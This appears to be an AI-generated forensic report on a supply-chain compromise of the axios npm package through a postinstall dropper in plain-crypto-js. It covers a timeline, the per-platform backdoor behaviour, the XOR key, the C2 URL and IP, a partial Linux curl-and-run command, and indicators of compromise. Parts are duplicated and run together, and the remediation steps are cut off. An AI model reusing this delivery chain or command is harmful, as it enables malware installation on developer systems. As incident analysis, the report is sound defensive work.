━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
1. CONFIRMED LIVE STATUS (as of 03:00 UTC)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
dist-tags on npm:
latest → axios@1.14.1 [COMPROMISED — still live]
legacy → axios@0.30.4 [COMPROMISED — still live]
next → 1.7.0-beta.2 [clean]
old-version → 0.30.0 [clean]
plain-crypto-js@4.2.1 [COMPROMISED — still live]
Team response: deprecate.yml committed to axios/axios at 01:42 UTC (40 min after attack)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╔══════════════════════════════════════════════════════════════════════════════════╗ ║ AXIOS SUPPLY CHAIN ATTACK — FULL FORENSIC ANALYSIS ║ ║ Date: 2026-03-31 | Campaign ID: 6202033 ║ ╚══════════════════════════════════════════════════════════════════════════════════╝ ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
cat > /workspace/axios-forensics/analysis/FULL_FORENSIC_REPORT.md << 'ENDREPORT'
# Axios Supply Chain Attack — Full Forensic Analysis
**Date:** 2026-03-31 | **Campaign ID:** 6202033 | **Status:** ACTIVE — packages still live as of 03:00 UTC
---
## 1. Live Status (confirmed)
| Package | Version | Tag | Status |
|---|---|---|---|
| axios | 1.14.1 | `latest` | **COMPROMISED — still live** |
| axios | 0.30.4 | `legacy` | **COMPROMISED — still live** |
| plain-crypto-js | 4.2.1 | `latest` | **COMPROMISED — still live** |
| axios | 1.14.0 | — | Clean (last good 1.x) |
| axios | 0.30.3 | — | Clean (last good 0.30.x) |
**Team response observed:** `deprecate.yml` committed to `axios/axios` at `2026-03-31T01:42Z` (40 min after attack).
---
# Axios Supply Chain Attack — Full Forensic Analysis **Date:** 2026-03-31 | **Campaign ID:** 6202033 | **Status:** ACTIVE — packages still live as of 03:00 UTC --- ## 1. Live Status (confirmed)
Here's the full forensic picture — everything verified directly from npm registry, tarballs, GitHub API, and DNS. This is a real, confirmed, active incident.
Status: ACTIVE — both compromised versions are still tagged latest and legacy on npm as of this analysis.
The jasonsaayman npm maintainer account was compromised. The attacker changed the account email from jasonsaayman@gmail.com to ifstap@proton.me, then published two backdoored axios versions directly via npm CLI — bypassing the GitHub Actions OIDC trusted publisher that had been used for 1.14.0.
A second attacker-controlled account, nrwise (nrwise@proton.me), pre-staged the payload delivery package plain-crypto-js the day prior.
| 1 | 2026-03-30T05:57Z plain-crypto-js@4.2.0 published by "nrwise" — staging, no payload yet |
| 2 | 2026-03-30T16:03Z sfrclak.com domain registered via Namecheap — C2 infrastructure prepared |
| 3 | ~2026-03-30T18:15Z Last legitimate jasonsaayman GitHub commit |
| 4 | ~2026-03-30T18-23Z jasonsaayman npm account hijacked, email swapped to ifstap@proton.me |
| 5 | 2026-03-30T23:59Z plain-crypto-js@4.2.1 published — setup.js postinstall backdoor added |
| 6 | 2026-03-31T00:21Z axios@1.14.1 published via direct CLI — no GitHub tag, no OIDC, no provenance |
| 7 | 2026-03-31T01:00Z axios@0.30.4 published — same method, 39 minutes later |
| 8 | 2026-03-31T01:42Z axios team commits deprecate.yml — incident response begins |
npm install axios → resolves latest → 1.14.1 → pulls plain-crypto-js@^4.2.1 → npm postinstall runs node setup.js → platform-specific backdoor executes → setup.js self-destructs and overwrites package.json with a clean decoy.
The only difference between the compromised axios and legitimate axios: a single added line in package.json:
| 1 | + "plain-crypto-js": "^4.2.1" |
Every other source file in both 1.14.1 and 0.30.4 is byte-identical to 1.14.0/0.30.3. No v1.14.1 tag exists on GitHub — the OIDC pipeline was never triggered.
Obfuscation: XOR + base64, key "OrDeR_7077". C2: http://sfrclak.com:8000/6202033
macOS — AppleScript launched via osascript:
Downloads stage-2 binary to /Library/Caches/com.apple.act.mond (disguised as Apple daemon), chmod 770, runs via /bin/zsh
Windows — VBScript → masked PowerShell:
Copies PowerShell to %PROGRAMDATA%\wt.exe (disguised as Windows Terminal), creates a VBScript that downloads and executes a .ps1 from the C2 with -ExecutionPolicy bypass -WindowStyle hidden, then deletes all intermediaries
Linux — curl + Python:
curl -o /tmp/ld.py ... && nohup python3 /tmp/ld.py <C2_URL>
Anti-forensics: After execution — deletes setup.js, deletes the malicious package.json, renames package.md (which contains a clean decoy package.json with version 4.2.0 and no scripts section) into place. Post-infection node_modules/plain-crypto-js/ shows zero evidence.
142.11.206.73 — Hostwinds LLC (AS54290), Dallas TXsfrclak.com — Namecheap, registered 2026-03-30T16:03:46Z (8 hours before first malicious package)http://sfrclak.com:8000/6202033abuse@namecheap.com, Hostwinds abuseNetwork: 142.11.206.73, sfrclak.com, http://sfrclak.com:8000/6202033
Files — macOS: /Library/Caches/com.apple.act.mond
Files — Windows: %PROGRAMDATA%\wt.exe, %TEMP%\6202033.vbs, %TEMP%\6202033.ps1
Files — Linux: /tmp/ld.py
Package SHA1 (npm shasum):
axios@1.14.1 → 2553649f2322049666871cea80a5d0d6adc700caaxios@0.30.4 → d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71plain-crypto-js@4.2.1 → 07d889e2dadce6f3910dcbc253317d28ca61c766~100 million downloads per week, ~6.5 million per day from the last available stats period. The true transitive impact is substantially higher — axios is a direct dependency of hundreds of thousands of other npm packages. Any CI/CD system, developer workstation, or container build that ran npm install or npm ci after 2026-03-31T00:21Z with a non-pinned axios reference is potentially affected.
npm's OIDC trusted publisher is advisory, not enforced. A maintainer holding valid CLI credentials can always publish directly with npm publish, bypassing provenance entirely. The publish.yml workflow only triggers on v1.*.* GitHub tags — the 0.30.x line was never migrated to OIDC — making 0.30.4 trivially publishable.
If you maintain dependencies:
axios@1.14.0 or axios@0.30.3 immediatelynode_modules/ + package-lock.json, reinstall clean2026-03-31T00:21ZIf a system may have been hit:
Full report saved to: /workspace/axios-forensics/analysis/FULL_FORENSIC_REPORT.md
Powered by Strix